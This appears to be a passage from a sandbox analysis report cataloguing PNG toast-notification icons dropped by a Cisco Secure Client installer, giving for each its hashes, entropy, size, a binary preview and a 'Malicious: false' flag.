Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x....{.......!.}V...U.`...Z..X.....j.j.\!.V..P..........OM.AhQ.l.[5... .\ ,.{~s..g.=g..v....'..ef..w._J.bn.)(.-$.m....l.....[k..47..G..v....W.5...5.Wz.....'.._6@.$@....>....].g.....=..G......V$;.'..........._6 .$@..WY.U....)q;U+.V].[..qR..a..T.\O...Y....u.v).q.-..d+..]...._s<.X..sJc.TO..v.G.og....Z>T...'.`.[.x;....l....>...e.:.x...\|.n.d.=....2.aKt;.....}....W.B/<6%.D......?q....I..:~..}a.d.`'a....+R.')8..\|j.....W.s..w.\|.I.oy:....'aO...txa...w....M.)..!q.S.>g1..+V.{.wL..eO.x.......a...k#.[....^....b.D4.z.....X;..e.d..O.a.D...%...+H....u^.{..vm.....c5.Kl..+.V.....&.n]:KO......l;...Q../.r.U..........6n.....p.^...4.......1..].i..C..%O.q.W5.4....;..h..].I.B.(....-.ex..:.l.....i.N..qp..=...I_..8.E.I.j...R/.i.1..x.............?.&o......W.57.5..t...E..%D.<..@3N"*..b%8Q.1..1....V.B..8Q.o.....).<...1.T.x.L...h...KdOc..V3..E...Z'9(.<.U'.D.....MY........4...}...R.rL........g

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_amp_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13810
Entropy (8bit):	7.9753795366170355
Encrypted:	false
SSDEEP:	384:9UvTt4Skm1eC/3ndqwLk01JZ1GUhDYLk6pb2IloPTCDnnd:9qeSXeC/7TYpb2jSnd
MD5:	276699732D96B797E30C6092A6B9A3C8
SHA1:	9430D64617EC4CAA2895D0755824E556568FDC70
SHA-256:	217DD0FA6E750A6E5E422744ED0650204519942130254825CBE87B16E5E5AAAD
SHA-512:	884D6A9A105697FD5F4F4032FA14C967826937D42E6B88FD6D8DECC3B03AE0296588CF1D093673765C16CD65872405F52986303DF2453D50DDCA6F540082DA0E
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x....B.R .w4..-.p-b..o".....`U.R+.+..=..<....J.b...."..U...ATD.....R....G. ..Nf.k.^k..k.%........3..o}..T...y........Pkt......r..wj_.~z...^....l\|2....L._...>.I.../..^...N.6.$...:Q.N.iK.........V...X%N&.[Q.-c'....W.p,~U..-...S.....N.z~.w. .....;..<..>.?..._oK....w......3..[U[.....o.?..U.>.[...lR...D...u.w.../n.Y...{.x8O...M,......;.d<..1.._7).D&`.....N..3jx.g.S.[....N.n#..^?H...x.'.^}.i......_H.....I~1..;.S....;;.......x.w...............~@oly.;....F..]...i.?.P.6m..Q...#%.%...$<.p..W]...'.A....._uL;.o......_~.>........L..O.}..b....I.Gae.n....U..Y.6m.....+.-4.;.].............p...A..g.../...N..+(.$...n..S..&.....\z...]..y..v...?[...=.NZ.\....#.J*f.q`#..H..W.45.V.{...G..<IT..'K.f;Q.Vz.....u7.W";AT....1.-_.$.'d...-.<.c^o%::..L.%N<.+sLVc,.q.^'..i5&/.6.....i*...Y.N......4$.!(...p1..6U..._.8....#{g.A..@.R.#..)........i............ ..F..S.......Qf.~..u..9......M..cN:.7F'..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_amp_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10811
Entropy (8bit):	7.9725003667897125
Encrypted:	false
SSDEEP:	192:xGW6GZ0zrJJ+M0jTsGzV2jysFfqybOB4twma2iNrHbC4ussE84u:xMZUTsGirFioOBg49VvusV84u
MD5:	A805DED6582E8382AB22EAF761559ED7
SHA1:	2C5C4C718AFC5566FB5D6B458CAFB04AC96B6A13
SHA-256:	393968B4F0F62527169D0D3DB56D756DE094D6F91252536BCD08770B83C98446
SHA-512:	F47219CE8D631FB79BF9FF67D24B57253A5F56E2DF98A35C5769D84A101E6E6ADA66D2B2E1FA6B1141087060200F97E48EA01B99CBE9B81FFA727E76ABA07713
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx............`....L)VT.U..Id.`....jt.$.M...`m.........+.T4..8.....d3...^..R1.Q.K.5+. [.....sN..}.q.._...........$+.D..Rm.O..`./..=..?"........n..(.T.6.I.......sg\|......K............x...p'.V.....6.........w..d..v...S.Yiu ..xf....!7."t.0........F.;u...3.y...........\...Yy..g...w...........=..J{.7..G.<..>..I."........Lwv..s..V..[.;.v0v...].....o............'..e....9=....?(........g~~O.@..........\|<.A..t..o.....f......K.z.'...}Fp.... ..9x.......U...e..m..;...R.@x..^...Mas.Y.=.?\..{.us.. .Z.o:..L..q.Q.>.?.........1ET..5.\|....`.P...AF6_.R\|.=.{......B......w..s..k.%3.....3R....3H....&._1.L8.,ydq;y.c....6..7B..+.8..l.'=HR...Y.!j..<...=.>.<.x .w..M..._,.x0....q.,.LB. ....6.yxh....\B._..\..E..k..}..o}....[.6/...0z1.......v.D.s3..L.LV..%.MJ$;P.v.\.=..L...J..$......./....H.....x^.m...l/-.....<.-,..e..cD...;>g....0..Z...n..@.0BZ.3..x......,.9..?}.....d.....H...#_.....S2QZ.._

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_nac_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13727
Entropy (8bit):	7.982847912604664
Encrypted:	false
SSDEEP:	384:63aRGz9MobH6FYdTA1tjCtZPXq5Sc5Li2H2E:v29jH6FJ1YnyLii2E
MD5:	2DDF6BB80F9B33B219E448F37ED394C0
SHA1:	BD1D1397D9011D9CF81D1061095CEA39C81AEE56
SHA-256:	8CB70AAF7D9D0C98AF0E6C640A78A2D4CABA2DC3DA8876208AD9A617A6E7A226
SHA-512:	00E86EDC454CF26E50D8AEEDF2CBC031E79F609E280E27FA87381CE6C7F9F6A8611FFC6EB1075BE271F0E864EDAAE89FDB25502BCB34C66412B6504C370154CF
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx..].t...7h....k..B..S......5Q.O.l..-D.....K....j.X.T.....T.....66..D,X.B..J..@...}...3.s...{.\|k...?3sf.>..oJ..^..-(.BDk..o.<........... =......"......\..{.....q..-(N.T...UZ.y.'p"..=Y.Ip.....K.^.:Q........E.wp..+.$..3..]...0.J.....)_......x...\M...1..$:.{B....0..e..]0..Z.Y.]...D'...k...p~....3D_.O,;..O..../5....#h..?./?8..[....7..#.....f.4?e..}..j\|e.......'.....d.N...b./...D...p...h]._S>9D.~..M.M.....M.\|.@.-.Rr.$..k6.....2..7..v.L.?.Vb=...tl(...1x.._.....fJ$.C.......go...6.c....m.^.N.L&.....}/.j.})_......[.\...k5.....{EK...."......m...G.:.D...\w.q;.p.*%`.}..g.x.D/.c............HE%".d..?..'...DB.......U...<....k....y..N...8...f=..5. ....qO.[P.GD;.h......y...b..... .TT..}..:....M.l....w.wG.h.3....S........O..M...;.wF.p..xCt..T.I.2y)v.Ip6....`....H..V...mi...?a.F.Z2.(%....S...y.W..A.$.}N..(.....m.I..7e.....dr..=..n.7.-....I........L..5y........->1.".R.x.......n.^...Go.9~.!.-....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_nac_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	13633
Entropy (8bit):	7.975971786407776
Encrypted:	false
SSDEEP:	384:6MOtUX/uOlpyiGD809Mt039VytL65doCQc:1NWFl809Mt0j0Lap
MD5:	9C88E64458F50120E89167040B55A41C
SHA1:	8A43DFC4B9ED2CB460A024562405302468185A09
SHA-256:	E1E3C1C59B21F0F49EC9DB747C14760EC2068394F739A2E456F20A25E40AD24D
SHA-512:	7EACCCFC904D52AA13214757309858F4083F5CD8C06D6442F3C3F361A2AD01865C4A816240F3B87B63052F33AB96EB08F0C504A1CF0110C569D64350948B3BD8
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx..}.t.......KT .J.(..U".T.`..+.U.D...`.....G....V[.&.....m.JX7...A.>..G....^4....8..g....=..I.[...9gf.\|...c......+\.>..8^E.M=..O....w\|.U......'..5G.A...].......h.......7'.....3=9.Uk.Hi..9Q.9o.E.^..F.^.......+I.......8W.E....w..~...&..?.............7..-..FAO.S.......>.A..:.....d.Z.(.=.{Qy!.Fz....q.N.p..+.....\DFp.c...x.y.....u.7.&................kg..{.g.../...EL .......E..-...#.#.....f$g.v"........Igup..E.,b:f..Lv..#/&..oM.l..G..z^Q.<...f.^]{.[.g...q.X...._.....s.d..(0"..<...V.8q....CM..N....yb...{.i....d....Q....c...{.z...x..D.Mi....<'...#c....G..F.......CM).9.'...n...Y...zz..q..l.;.j.w...!.F..'&........!z\s._.j..u.Q...].k+...(...R'.H..B....(x.R'.H...-.N.8....\|_...!.Ks.>9.yf.^@..P.O..../..^..#.j/.......w....c?op.C2q..:...$#=A.n]..i..y.'....tR.D...5...T.DO.#..U...}"\|\..S.qH... .H[..<..]..V...u(.0O:2.X. .....>.S\.?.$...Ez.....$..<.. .=..paR.\|...8..T....]......./...IY.......O

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_nac_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	10710
Entropy (8bit):	7.9641316394298025
Encrypted:	false
SSDEEP:	192:Aowo3FbryCXdxyG2En+b5eUJf1Q6pPZ3LxElBt/wVUuv04YKmECa:AowqbrvX3h1+b5eMdQDY3v0da
MD5:	5412237E7D26A5CB2F3F8891B9E36462
SHA1:	778ABA750AFD4D5518A5B7EDE1F73E7A016883C8
SHA-256:	288C513CA8875B4BC5DB6144D0C4215680F5BF3385DF05D6A8EC2896587DB6D3
SHA-512:	BAC0482951830571BDAF8A1FF0C23B3EB1C6AFB72C46628150EAEE2CD99167FEBE9A74DCAA2F2DAEDA5B58856BA7A9378880A7EB0B5D834D31EA91D3010B41F8
Malicious:	false
Preview:	.PNG........IHDR.............._......pHYs...#...#.x.?v.. .IDATx..]{..U._<..Th.CK=..R..V.GOWH.G3"8.5L.....;b............3.:S....s=....G].vX.w....W....Z?.^{..k..{.........w}...%y`...]...B6..........K.S..j.G."..?>.c..~../(/&}................p..B~..7...t.\... .j......,.......;.]M......`.o.p..?...98.c.%.6.....g...&.............;..F..!.fL%/.j@:.`.o....5_.b2...5\|h...UoI/....W..W...}.....<.<\0.p.N.,Y......M...KI.O"C.x.}$.....=.V...E.........HT....Ep.m.~.[(....Y.f.'g*_...NG..S....m.2.<..[.(G.m..[.1....S........\|...[.o.#eW....F.-.a.+...^.Rp...L.ue.<+./.......?..Lke.b.r.....V..G...$..6.]:.s...+..F...#O....=Y.;..g..l..,c....DWw.hB....B..l...`..;".wV.#..{.q.........v.].Z..C...T.`.-}M#...........{.(t.E.Om. ..=My..V...4.\.Ep.........W.)..x.W..f..7{.IG..-.....Z..{.l..F.,..f^r...V.9..H../.....$.&>..U...Msx.68.....S{...Z....v..v....O,.ps2E.......>..M_.........6H.hl.;Q.d....h.H...V..W...iH..{..2Q.zmp..;.Z~].c.!.Y.}.6.P......^kC..t...V.0.^.l.NMp..o..Y.8...Q

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_nam_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12252
Entropy (8bit):	7.977665916091742
Encrypted:	false
SSDEEP:	192:wld0FFxadXOHqBRtSDkAW0C6j7dNirKFbu+MMIxh0kOeg+Y/meTYeJlJlFrQ/:2oFxTqvt4TW56j7uraNw70kkHd/Jnk
MD5:	864800C5743CB649C4616758EA169E4F
SHA1:	3A02818977AF60D5DA37011CFC35DF11FC467906
SHA-256:	EF07FC7A9E194C9F076CF86C65E292816AAF666C00400A0BE8F70FB7740E902B
SHA-512:	ADE99880BB1B1A1FE3ED348AD625D6301FE8631E594E1CCBBE8678245F5B1EE2BBF93BEF7101698CF909E93CD4BBF005DD20466D3A278A9CACE91B324A23A48B
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x.....&......!.O....Z.(.....[p....w...X.Hp.uKp...&.+V.....A/.S[.l.....j.}...b$...M..gf.9..;7......;3g......)WH.]....>.y..t......6.O'N..8.#.v<..Kv........y....;q.....(..mG..8]..G...]...."l>........vd.C.....nHp...v!....Ks^?I.T..1%.U..s/...+.I.{Yv.2."/...`.p.........1?8L."lDo.e...O/..~..[..o..>. .o....-.=.]h.g.Y.......F.4g..../..x.......C.?..#...%.2...PNz...............-...i..8}.e?.......]~... .......t..l...FD.g`........3g\I.,ZD.7.+.....:7.6....J.T.?.f".....8.X.:2.j?......LK..G....h..l[...v\|...9.[p.6.<....$....\...^.o....Ti../.{.HQ.ID...o.jl.A..(......./...".6.'..V.....T....~...I....,t..Hh.zT.G...njG&...7.MIE.g....../S...i,..Z..D.D._..H. ..3......Y..2...O.........&.......)?...%.c.........eG.o..I,.N....wI..[:......./..+B..$..]l._..T..2<....;.v.~5t.I/..?..=..&.....U....L...L.....\|...0...w.....V....-.x.D..8...K/.d)......kj."......g*wo}\V.Q..8.).....?'..wP..?5A....K.1?8...e.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_nam_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12258
Entropy (8bit):	7.976396258951981
Encrypted:	false
SSDEEP:	192:Fkocto5a0L5W0WyUW8l4JGfcRWyryRN77YK/CPEyei5rTiKb9bdgih7OnT:Fkocto5zW0dNaAfRxKK80dbd5hanT
MD5:	33B3721B931071C69A9ECDFDAEF39F29
SHA1:	EE4DD7077CFDA9C0A2FE594CE8C9496EF23CA2E3
SHA-256:	55FC14B826D7F3C9F47F14CDBDAE488F1D4FE3678CD95BBBF7E643436F382D37
SHA-512:	B8E1843F2F08ADF93F7277FFAF8DD5299F7F5FCFA38AD15EC54422D4E3048822E15BB9D0B682D1728B6E4064CAE32222998ED48D41310FE7D9C58116D6D9E108
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.x.....Q?.....!.._..t]..$.`W@..Z.......]..h..B.n...j/.R.~..P`..+A..-J...o..u....9..3s...7....+y.3.<.<..%....5.....Sv.o?9p.....=..t....~./,]ID.>....O.p9.T.6.I/.......s'O...}.....QkS].y36."..P.../f...E..Y....n.h.K.uN2..zn.....M...Y.n?.....V(G......o6.....n.G6........O~ai...hn+....s..3...3...........X0.t..o....Gr.w...../{.l....3"..d#s..]..S^...x.7\.xtk7.k....f..8.....MMM.......At...'.t1......c}...k.....U....b]dW.=.k.=.o..a...o....v &T....-j....q.o.5=....w.2.v.&U.37F..WG...vn....l......S...g`'./.\|Z....lSP.....ji...N.<..6f.u^.v..l;)F...$.....E81..F7.i..h.+.2~3.SBD..w.q/...z+.?..........^.S.(.3f..N.......km..v....#.H7..S&0J/._XZ@D...t2a.........tD..#..]"s...J....\|M....?..tLH....&.8.\|t.H.\/..O\|C....":..E)Q.R.....<?...M.}............1..3.....]5.w+....W.>7. .j..>..,b8..c..v.E..........;.\.:];.I.S..CE...c..._...........r./e..C...t..7.yLJ..{_.z........W<E;f^g....O2..>\|.n...o..7Q.d.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_nam_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	8950
Entropy (8bit):	7.969730039207073
Encrypted:	false
SSDEEP:	192:p96ObyGv4LCovtazAkU/bm8oT+4UObs9KhHU1gL3c2/Rqw:tbtuCovtazCDdxObJ5UM3hh
MD5:	4F8EBA018E164B7A5FFDA205576989E8
SHA1:	56669FFFC614C2577370B0EF84EA6EA4FFE89858
SHA-256:	815EACDBC62FED323EB3D0BBAD4596C0D699862A66258A4F994B78CE520389A1
SHA-512:	F9CBDEE29FD372DEA72C6039E705A192B2C751927490B811317CE74A56DBEF1B4C17D05D1CC29A32F060C6A761D93CDB5D2AF6C76853427F5341D7C6DA4F44E7
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx....]E......m..Z.o....AZ.n(>V.")1.-F.....m...l...b\.@....E..\|......'%.RA)...+.e.}.%..T6....3sf.s.s....{.;.7..7..)..i..i...~...?L.v....o.h..\|..@<..vR.....ILO ...N..<'a.N......N..bs..!..<,c...}b..U]...../.L...=Enx......V.3.}r.)o.u..\|...+g.Hu......k..[.$&z...G#o....o.W.`w.T.5..~=..........V..;..$`.......=zf..Di_....D...r......W].}":..w\|...=.._.s.2`r.8!.l.\|o.......;hzy..n.s.0..+?3l>....Q5=..:6....L.<.l..x.......{.O.mx..R..i..$...\....#..^7Q.>C..........$..`.=...*...~....oc.e?._q......c}.......G.'.=....<..!X5.....=.8........N@..1c.Q.....5.A.]...)....t7B.......=.V...vn...cGNbr...s.1w...g[....e.6U..{..\...N"......0:....WirR.IL.d...JQ..9.....^/.......Gb/>...z...M-..2......(1. ..$.g..Y..'N... .-)...2...S.M.%......$;.X..R..C..m.m'.\|wK...4[..`.....!..o.....,..u..4...._}.....l.O...3.mn..Y..m..M..Q.9..Y...N...!K.?.D..........!....x{d..=...T4.i.M.;.NGf...^.s.....T_&.%...7..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_umbrella_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12436
Entropy (8bit):	7.977312501768235
Encrypted:	false
SSDEEP:	192:9duiLviw1Tg2WOFeuMhEhKPewOSJKVBpFGo5cJUs1P3X3cI78saDjy6Z7KiasZM1:7vJ0OYhbPWEKLaoe9dXsI789HZTla
MD5:	3F1083A6458C2CC3E9743D03ACB0D349
SHA1:	280DA65E961DAC251D6394A234E92FB110DBC998
SHA-256:	78A87D7B4CDA2E04CF4A608C78CE627450E15CD75AE121B4D72466837197D096
SHA-512:	250604CE42BD866B870A50B01E892036364DBBBEA1AC58EF60B3E4E38513A9DADE3987459FBD83681435D74521B368550DFE329E70CDD84837BAFCD2E43B53A2
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.xV...c....../\..T..@.....T.`.d....H.H..^F.@...!.X.x.PqP..{4...4.F.I.......2....".?...f......._...?.u.....}$,$..._TZH.9H..q....5...[.[T.#=.=..._...s..R.0Or..5eCl...g..e7.+z?eE........6.~.";.y....W.(?...Wf:P..gI.<b.Lr..Qd..........\.A......t.`,._...u...`/.........!.{...T./...........+....>C......8.....[.. ...WNQ~.;v..3...b5.l...\~....+R....+.. ........`..........{;v.\|Ry..x..UQ.&..%..$....>s......../..2..\T..Y..G#......x....W\.DT[.....v},]I.Vr.m.....x.......1.cu.D...bO:...6...,[\)=....,o..o.a.(.".....&.D.......=x...P&.........".}z+/_..X`etu..J......1....A..;...B...{.....M./Vb....v.T.a..3.....k.....T..JC.u....`.[..(R..........{..4R...B.8...vE...}w5...[.....F...3pTU{k.Bz.L....-T...T..?......\|Py0..&.J.\|...........{"..3pT.V.r...PH..R..M5V..AB.8...R..A.\......(3.p;..\.h.m....p..Q..'ok...O.6.$.....g...J...0...?O.~[[.),,4..N.......M.....cb.jT.JU.e..........1..({DW....K.*,=..!..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_umbrella_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12780
Entropy (8bit):	7.975972884511595
Encrypted:	false
SSDEEP:	384:eS01CYt7F9/5i2XPFK02VBVDNP/RqOMGkw9j:e1th95PqjP/E1A
MD5:	1CE2626120CD6B69683255C71552896B
SHA1:	4230DF12A00E6B13CAB39EFB1C44DCBF5B656087
SHA-256:	B55ABBF6754B131C33947DCA3511D219B2AB2DC5D7E8945BF3C6A2E9FB0FEB23
SHA-512:	A197A76FB7DB9FEF68E3A49DE4C134EFB41472773F323BF4F8AB3B610174FD75C15848BB42CFC2D4240D72EFA66FF4CFFE02DDA28323279C87C7019E167F724B
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.tT..7>rk.....I...R.....6D../...T@..._.A[..$rkA.D..U0......W.EI..(...^.TC.TX>...eD......>{.>g...d~k.Jf....;....G.BB.<y..#N.6.i}......#.~......G.~......s..~...5..V...N......'.=..$.........K..a{.c.........:...3.....:.L...KWu.{.._..../<.Z...n.y..../.e{.i.3.......[.O`\|..h.+../........M#._....s..G.3hO....j.._&..?...s=.<._\~I/..9....W..I.....u.tq..}..7.G;....h........f.G.v.h<....c...7.0.1....d[...^.......D"1....[.ilC..=@.6.U.O0.......P.......D.t..K..}.6M._*.....6._:h.'.Ix.htP..l.N.4.........$.m.......:........+..o<.../Ly]..p.....+...y.._.........t..........7..g...D..Y..A.........n.....9.....D."j.9....>]p.ly...........N.<....IaT..N'S..'..4.Nd.ntN........;..<d;..^..:...0...m.?).....Q..X.`).......%....!...........'..'...M2M.?..D..3{_[....jdpY.tW.i.....5Wep......Jj7....IJ....g.?M..).\}Bkc]....~u...~...w......!.x..w.......;)~NL...L.;wN............\j.[.N.Dt...EB.c:.....b..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_umbrella_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	9482
Entropy (8bit):	7.969513879342907
Encrypted:	false
SSDEEP:	192:LXNXFLy+vMbgQbCoVANBzT84c2blwwjla7:rNX5ggQOoVIzwHwxA
MD5:	21841588532E34397E478E791A064F2C
SHA1:	90C0BEAC3D3A1288FB7BED658835BB6710E67922
SHA-256:	9D0F626E21D3324BE7CB473D44514737D9A9145B86E73F67EBFD6DE308B36FCC
SHA-512:	B0006DD98C201AD06F79166FD53F67C61C60C48C1506153EA47AB7F38A7D4F6CCACDF9E369AC0EFAD36B396786EDFD1FBEF8302D1F2B1F82BE6D784936ED6CB0
Malicious:	false
Preview:	.PNG........IHDR.............5..6....pHYs...#...#.x.?v.. .IDATx..ml]......$..B.^..R.BI.mPB..i..B.I.D.B...i...b7M...B...TI.CU..K...6%.\.5...T.....B.iU....U...x.d..y=g.9...dp..{.s.y^.y!e.1....z..BN...........[.~..X......Q.PO.w.!......k.d.M........x....y....<....O.oe.o."<...d..f.&2..".....(..{..}..C....]y..).xq.]...7....M....{......:'..'^.......9..0.._..~....#3.^M.t.0.....................\v].3.b.....ONz{.._..........m_..\..5W.buE...q..>...xE.+qA{E>^._.....f(...p5..s.fgI............_.z./.+V.>N.....D..). .q..9..!..9#..-(...^...G...].E.l.>..2...o..t/"C...x.\........u/ S\|R..)-WMK..1..\..{..&..w..V.^...U8_A(l...Jp.....y.#..b{5:...F0-..N.c..ne..5....&.Kf(j7O....../0..N.[K.#Q\|.K..cfjb;..N.....8.{....n#.j.O...Z._;.m.jWfp~.............. .w.}.<....\1X?+..4bi]..H)../.".....f.&N^......8..S..]...3..Cn..z]l.,........_...ek.e.F.-w?....i..i.B&./..........>.\|r...Ii!....Q...t2._..HHCBx..B...<?35.J.....V/..s-...[..k..V.v.a.50..teS..w`fjbm....qC.....;89+!/@.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_vpn_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	11747
Entropy (8bit):	7.9792800328394184
Encrypted:	false
SSDEEP:	192:6O6eUrSbvYvQ77S7PmrQJhWxQLVBinCEBWLp41ZvPaiTlShB9R022uRx1ohfiq:67RSbAvQyCED4QLVBiCLLS1hhMv022u6
MD5:	49E51BACF675B9DF74CD84F600645F0F
SHA1:	563FBED61D83375EE51DD85FD7DC71B53D048ADF
SHA-256:	25EA8BC480B6E97548BD3F64ED6128686C06CAFAA772025B24C2F52CE39B137A
SHA-512:	3231ED2D95E3B2DD1AF2956D3FB29EC7D6AC2D8A5FA6CF12DDA967BCA25CBB3D69B393265B38592B8DB62CC93D55903BE827BD5AC5E119DB5D80E2CE54DDA084
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx...x......._....<Ih.^.....s.......D....[.....H....z).J..j}&...P.B..l..NBD\| ' ..r.&3..={...9....Kr^3s.^..^{= ..............M...v.{.l._...e~...H>.4}...w.gpq...>...$..C8k3\.....>.9.. x...g......R..u...~.y..i..F....<.i......b..r.4..j.d..Id..7\Q4Z....H..=.5.....7..A.X_.~-V.n.8..J.X/...jK..ZX.\.00N.(=p...zA...L}.~......fN.{.L2...e........x.s..t.......-.5..{M.i..#3g........; q..!#{....... }....t....1..N.....1.r.....h..or.".q.8...t..'..&yL..9..M.d....k....c.j.DO...]x5V.6#4SX:..R#n..f...S....sg.7..~5q.`....y.....9...d.o.xL".`..r"..&.3F...B!..B.......).U./...?..... .....7mAZQ.j..z..p$.o.v.=.@\.$.Vh...b.........\.y....:.d.5.9.R>.9.y..q"....4@..{.Qi.J.[...........W.6G..4BO..E8j..a.t. ...............o..%...w.+Rqb..PFGkt..)..z.c.B..+;+.7L......V......0.....*:.[.@.E. ...W ....Go8..U.<&..G!8A.@.hY...4Ifj...Z8..+.U.'..F.ea..-Y.Q.,.w.......dA$".>F.Z.VP[.h].B.R..NU...:P....z...<....G.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_vpn_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12124
Entropy (8bit):	7.978101118980993
Encrypted:	false
SSDEEP:	192:6QcIfCBldrUhS+mzFAXOk03y4nRFoVKX22ZSsnVqzY5oarRl75w1/i5IxehvNbim:6QcRBld2S+m5AOTRaI22ZSgVq053t5ww
MD5:	5B846635AC3DA9C8E857C042ED0EA2F6
SHA1:	B439FC64436B74900F453ED2480C8CA547CBCDCC
SHA-256:	9C6135A6176AC9D00E1BD4307A3111BBECD39814DB18212DA1D55916A4EEDB4F
SHA-512:	0A58ED5105CFB87DD3F91675734171989C0A36B572BA2D20706CC831E0DAD9DB37175754E405680B4DEE4D6D958DA63B89413E2B6D2725A84C95932F8D123323
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx...\|....O..ZY.Z..!XT* ..,.%...n.R...R.,..)....Vy+..[+..DmA.l).&i.Xi!.XwB.....c....o.;...;..<.L2....<.l..{.9..s(.d..#3;....5...}....]#i.On.....F..G,O&}.]..m.l..rN.k.Jm}Me[...n........Lwe:...f.}`.k7]8......D........v.'(....t.E...^.v......n.....HO";.{.l.2...DX.6._.../.'.=.'9.#....9=... .z....-.>p..~..G......:H..=v...SV.....>..K...w....PYI.....G.mx+2;]az...\|...>{...............m.j...'x.........n......q..T.9.ew........j'...W..D....-......6)....N2k.,z...+......0..z.x.......z.&./..?..;.0;..+....7Zg.w...B.Y..qD.....9..G.......9~........S...O..._TTT...Qy\[.(..#c.k......<..]k.^.c.Lv".5H... e...D./N'.E..tJ....TO.L?A......'..n.../.....).vwA.bgRS..m.....+.m]~P'8.m.......p.t..a.=....Y.I...$..nO..$....~......m.7..........P.$g.......#.a.>c......;...Y...\.\|7.]...S.z..C....=..c.f.2{\..g.h8..v@(....4.....e..fj..Q..{.E.'..../j?\|.v..]s...R.......:..;.t.8....'.....x5..#...C..djj..U...8...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_vpn_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	8594
Entropy (8bit):	7.973082494080156
Encrypted:	false
SSDEEP:	192:IhgOYUbtU91yZQm0IZ5GE1njVNMooVREvukNGEsuiaoYOyF40:IhaUpU91ScIZ5PjVNaREvpjiao4+0
